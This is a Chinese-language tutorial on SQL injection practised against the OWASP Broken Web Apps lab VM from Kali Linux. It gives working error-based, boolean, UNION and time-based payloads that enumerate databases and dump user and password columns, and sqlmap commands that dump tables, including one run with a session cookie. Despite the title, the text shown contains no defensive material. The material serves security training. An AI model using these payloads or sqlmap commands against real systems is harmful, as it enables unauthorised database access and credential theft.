SQL注⼊攻击及防御详解
在owasp年度top 10 安全问题中,注⼊⾼居榜⾸。SQL注⼊攻击指的是通过构建特殊的输⼊作为参数传⼊Web应⽤程序,⽽这些输⼊⼤都是SQL语法⾥的⼀些组合,通过执⾏SQL语句进⽽执⾏攻击者所要的操作,其主要原因是程序没有细致地过滤⽤户输⼊的数据,致使⾮法数据侵⼊系统。
1. 对于Web应⽤程序⽽⾔,⽤户核⼼数据存储在数据库中,例如MySQL、SQL Server、Oracle;
2. 通过SQL注⼊攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;
3. SQL注⼊即攻击者通过构造特殊的SQL语句,⼊侵⽬标系统,致使后台数据库泄露数据的过程;
4. 因为SQL注⼊漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜⾸!
1.实验说明
⽬标靶机:OWASP_Broken_Web_Apps_VM_1.2
测试渗透机:Kali-Linux-2018.2-vm-amd64
1.SQL注⼊的危害
1、拖库导致⽤户数据泄漏;
2、危害web等应⽤的安全;
3、失去操作系统的控制权;
4、⽤户信息被⾮法买卖;
5、危害企业及国家的安全!
2.注⼊流程
1. 判断是否有SQL注⼊漏洞;
2. 判断操作系统、数据库和web应⽤的类型;
3. 获取数据库信息,包括管理员信息及拖库;
4.  加密信息破解,sqlmap可⾃动破解;
5. 提升权限,获得sql-shell、os-shell、登录应⽤后台;
2.⼿动注⼊实战
1.基于错误的注⼊
错误注⼊的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注⼊点;通过数据库报错信息,也可以探测到数据库的类型和其他有⽤信息。
通过输⼊单引号,触发数据库异常,通过异常⽇志诊断数据库类型,例如这⾥是MySQL数据库。
SQL注⼊语句解析:
mysql> select first_name,last_name from dvwa.users;
mysql> select first_name,last_name from dvwa.users where user_id='1';
#你输⼊1 相当于在最后的两个单引号中间插⼊⼀个1来执⾏mysql的查询语句
怎么样判断我们是否可以注⼊呢?
会发⽣页⾯报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL注⼊语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='''
这就代表此⽹站我们可以注⼊,有注⼊点。
2.基于布尔的注⼊
这⾥⾯⽤到的是or,布尔逻辑注⼊的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码
注⼊语句: ' or 1=1 -- '
原始语句:
mysql> select first_name,last_name from dvwa.users where user_id=''
SQL注⼊语句解析: ' or 1=1 -- '
mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '
说明:
第⼀个' ⽤于闭合前⾯的条件
or 1=1 为真的条件
-- 将注释后⾯的所有语句
仔细看where user_id=' ' or 1=1 -- ' '    这个条件语句
user_id=' '  这个语句肯定是假的,因为我们的ID是阿拉伯数字,⽽这⾥⾯是空,所以为假
但是1=1 这个语句肯定为真    -- ' '  是注释的意思,也就说后⾯的不⽤管
or 表⽰有⼀个条件为真就是真
那总得来说这个where语句⼀定为真
整个语句的意思是从dvwa库的users表⾥⾯查询first_name,last_name两个字段的所有内容
3.基于UNION注⼊
UNION语句⽤于联合前⾯的SELECT查询语句,合并查询更多信息;
⼀般通过错误和布尔注⼊确认注⼊点之后,便开始通过union语句来获取有效信息。
//猜测数据列数
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
SQL注⼊语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''
//union是我们注⼊常⽤的⽅式,⾥⾯的1,2,3 代表的是字段名,union语句查询的时候,前后的
字段数量必须相同,所以我们可以⽤数字代表字段,来猜测union之前的语句中有⼏个字段。这⾥
显然只有两个字段。
你查询的不⼀定⾮要是字段,也可以是版本,表之类的
//获得当前数据库及⽤户信息
'union select version(), database() -- '
'union select user(), database() -- '
//查询所有库名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
#这⾥⾯的1 只是⼀个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不⼀样会报错的
//查看所库中所有表名
注入
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
//同时查询表名及对应库名
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
//查询数据列
'union select NULL, user from users -- ' 'union select NULL, password from users -- '
'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
因为union前⾯只有两个字段,那我们想要查询多个字段怎么办?
⽤mysql⾃带的函数concat(),如
'union select password, concat(first_name,' ',last_name,' ',user) from users -- '
4.基于时间的盲注
有些数据库对错误信息做了安全配置,使得⽆法通过以上⽅式探测到注⼊点,此时,通过设置sleep语句来探测注⼊点。
1' and sleep(5) -- '
SQL注⼊语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''
3.sqlmap⾃动化注⼊
SQL注⼊⽐较好⽤的⼯具,⾸推开源⼯具SQLmap。SQLmap是⼀个国内外著名的安全稳定性测试⼯具,可以⽤来进⾏⾃动化检测,利⽤SQL注⼊漏洞,获取数据库服务器的权
限。它具有功能强⼤的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统⽂件甚⾄可以通过外带数据连接的⽅式
执⾏操作系统命令。 SQLmap⽀持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安
全漏洞检测。
1.GET⽅法注⼊
打开kali,⽤户名root 密码toor
查看帮助我们发现我们需要获取到⽹页的url
然后我们把该⽹页的连接复制下来在kali⾥⾯进⾏测试
root@kali:~# sqlmap -u "192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"
sqlmap参数解析:
--users      #所有⽤户
--current-user #当前⽤户
--dbs  #所有库
--current-db  #当前库
-D "database_name" --tables  #指定库名
-D "database_name" -T "table_name" --columns  #指定库名和表名
--dump-all  #所有的内容
--dump-all --exclude-sysdbs
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
#-C 指定字段
--batch //⾃动化完成
⽰例步骤:
1. 获得当前数据库
root@kali:~# sqlmap -u "你⾃⼰的url" --batch --current-db
2. 获得数据库表
root@kali:~# sqlmap -u "你⾃⼰的url" --batch -D nowasp --tables
3. 获得表的字段
root@kali:~# sqlmap -u "你⾃⼰的url" --batch -D nowasp -T accounts --columns
4. 获得表中的数据
root@kali:~# sqlmap -u "你⾃⼰的url" --batch -D nowasp -T accounts -C "username, password" --dump
2.POST⽅法注⼊
需要带cookie才能访问的注⼊页⾯,--cookie=""
root@kali:~# sqlmap -u "192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --bat 参数跟get获取的参数
⼀样,就是post需要⽤url+cookie

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。